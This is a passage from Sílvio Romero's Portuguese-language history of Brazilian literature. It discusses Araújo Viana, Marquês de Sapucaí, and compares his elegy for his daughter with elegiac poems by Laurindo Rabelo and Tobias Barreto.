Cândido José de Araújo Viana, Marquês de Sapucaí

Silvio Romero (Lagarto, 21 de abril de 1851 — 18 de junho de 1914) – História da Literatura Brasileira

Vol. III. Contribuições e estudos gerais para o exato conhecimento da literatura brasileira. Fonte: José Olympio / MEC.

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TRANSIÇÃO

POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS (continuação)

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TRANSIÇÃO

POETAS DE TRANSIÇÃO ENTRE CLÁSSICOS E ROMÂNTICOS

Bem diferente de Maciel Monteiro foi — Cândido José de Araújo Viana, Marquês de Sapucaí (1793-1875). — Magistrado, administrador, político, era pacato, moderado, tímido em demasia.

Escreveu muito pouco. Em prosa seu trabalho principal é o célebre artigo inserto no Correio Oficial de 28 de setembro de 1833, contestando os serviços de José Bonifácio à nossa independência política; em poesia os decantados versos à memória de sua filha. O artigo pode ser indicado como um dos mais limpos trechos do jornalismo político do tempo; é medíocre sem ter as grosserias e declamações então tanto em voga.4 Araújo- Viana era ministro quando o escreveu, por ocasião de ser deposto o velho Andrada do cargo de tutor do imperador.

É uma peça sem grande préstimo literário e de pouco alcance histórico.

Os versos são singelos e delicadíssimos. Por eles é que esse político tem um lugar neste livro.

O velho mineiro tinha uma filha, que havia plantado um canteirinho de violetas; antes que estas desabrochassem, morreu a moça. Sobre o seu túmulo foi o poeta depor as primeiras flores, quando abriram, e escreveu estes versos:

"Da -planta que mais prezavas,
Que era, filha, os teus amores,
Venho de pranto orvalhadas
Trazer-te as primeiras flores…

Em vez de afagar-te o seio,
D’enfeitar-te as lindas tranças,
Perfumarão esta lousa
Do jazigo em que descansas.

Já lhes falta aquele viço
Que o teu desvelo lhes dava…
Gelou-se a mão protetora
Que tão fagueira as regava…

Desgraçadas violetas,
A fim prematuro correm…
Pobres flores!… também sentem!
Também de saudade morrem!"

4. Vem transcrito no Primeiro Reinado de L. F. da Veiga.

É uma cousa caprichosa a poesia. Três ou quatro notas singelas tocam as fibras d’alma; e quantas vezes vastas composições pretensiosas deixam-nos de todo indiferentes! O velho poeta em quatro quadrinhas em estilo popular disse mais do que Magalhães em todo o volume dos Mistérios e Cânticos Fúnebres, consagrados à memória de seus filhos. Nestes a metafísica e a ciência intervêm e nos atiram em especulações abstratas. Nos versi-nhos de Araújo Viana a simplicidade da linguagem deixa ver em toda a força a verdade do sentimento. A boa poesia é assim transparente e límpida em sua espontaneidade.

À primeira vista parecerá desarrazoada a inserção do velho mineiro numa história literária, só por aquelas quadrinhas, deixando-se de lado outros versos originais ou traduzidos, que ficaram dele. A quem conhecer a pobreza real da poesia elegíaca em Portugal e Brasil, o absurdo não parecerá tamanho. Três se me antolham em todo o lirismo brasileiro as peças elegíacas de valor e nas quais um sentimento real e positivo côa através da simplicidade da forma. Três são elas e a poucas quadrinhas de índole popular se reduzem. Podem aqui ser estampadas como estudo comparativo. Representam o pensamento da morte em três fases diversas da literatura brasileira. Por uma coincidência singular são escritas no mesmo metro e referem-se todas a moças prematuramente arrancadas à vida.

Araújo Viana, como clássico e cristão, levou sua oferenda ao túmulo, como a levaria a um altar, e falou à filha, como a uma sombra querida, invisível, que ali o escutasse.

A segunda composição, a que me refiro, é o trecho da poesia Saudade Branca em que Laurindo Rabelo pranteou a morte de sua irmã, inteligente poetisa, que enlouquecera e morrera de amor.

A história desta desgraçada moça é conhecida; morreu-lhe inesperadamente o noivo, e ela, perdida a razão, acompanhou-o ao túmulo. Laurindo estava na Bahia, fazendo o curso de Medicina, e, ao chegar-lhe a notícia do falecimento da irmã, escreveu estes versos:

"

Que tens, mimosa saudade?
Assim branca quem te fez?
Quem tão pos tão desmaiada,
Minha flor? Que palidez!

Quem sabe… (Oh! meu Deus, não seja,
Não seja esta idéia vã!)
Se em ti não foi transformada
A alma de minha irmã?!

‘Minh’alma é toda saudades;
De saudades morrerei…’
Disse-me, quando a minh’alma
Em saudades lhe deixei:

E agora esta saudade
Tão triste e pálida… assim
Como a saudade que geme
Por ela dentro de mim!…

A namorar-me os sentidos!
A fascinar-me a razão!…
Julgo que sinto a voz dela
Falar-me no coração!

Exulta, minh’alma, exulta!…
Aos meus lábios, flor louçã!
No meu peito… Toma um beijo…
Outro beijo, minha irmã!…

Outro beijo, que estes beijos
Não tos proíbe o pudor;
Sou teu irmão, não te mancham
Os beijos do meu amor.

Fala um pouco.
Se almas podem
Em flores se transformar,
Sendo almas encantadas,
As flores podem falar!

E não falas?… não respondes?…
Oh! cruéis enganos meus!
Saudade, por que me iludes?
Minha irmã! Meu Deus! meu Deus!

Minha irmã! minha ventura,
Esperança, encanto meu!
É teu irmão quem te chama!…
Responde!… Fala!… Sou eu!…"

É este o trecho; de toda a poesia escolhi estas dez quadrinhas delicadíssimas; as que precedem e as que seguem podem bem ser excluídas; não são tão valentes. Nas transcritas estão bem retratados o talento e o pesar do poeta proletário e sofredor, que viu seu irmão assassinado, sua irmã louca e morta. Aí está o homem ainda crente e meio fantástico; aí está o delírio do romantismo;

mas o delírio sincero ; crenças e dúvidas travam-se n’aima do poeta.

A terceira poesia são os versos por Tobias Barreto gravados no túmulo de D. Hermina de Araújo, mulher do Dr. Altino de Araújo. Peregrina pela beleza e pelas virtudes, morreu esta criatura celeste aos dezoito anos, deixando um filhinho.

A elegia é assim:

"Teve a morte de uma santa,
Tendo a vida de uma flori…
Eis aqui o que eu quisera
Que me explicásseis, Senhor: —

Para provar que não somos
Todos mais que sombra e pó,
Será mister morrer moça,
Deixando o filhinho só?…

Vós sabeis que há só no mundo
Um ente que nos quer bem,
É nossa mãe, — ela morre,
E o órfão grita… por quem?…

Ora, Senhor!… perdoai-me,
-Não compreendo isto assim:
— Viver e morrer tão cedo,
Sem um mister, sem um fim;

Passar como uma aura leve,
Ou como um sonho de amor,
Ter a morte de uma santa
Tendo a vida de uma flor!…"

Aqui há desalento e rebeldia ao mesmo tempo; uma certa resignação cheia de amargor, a nulidade da vida esmagada pela cegueira estúpida da morte. Tudo sem declamações, sem dissertações e comentários teóricos.

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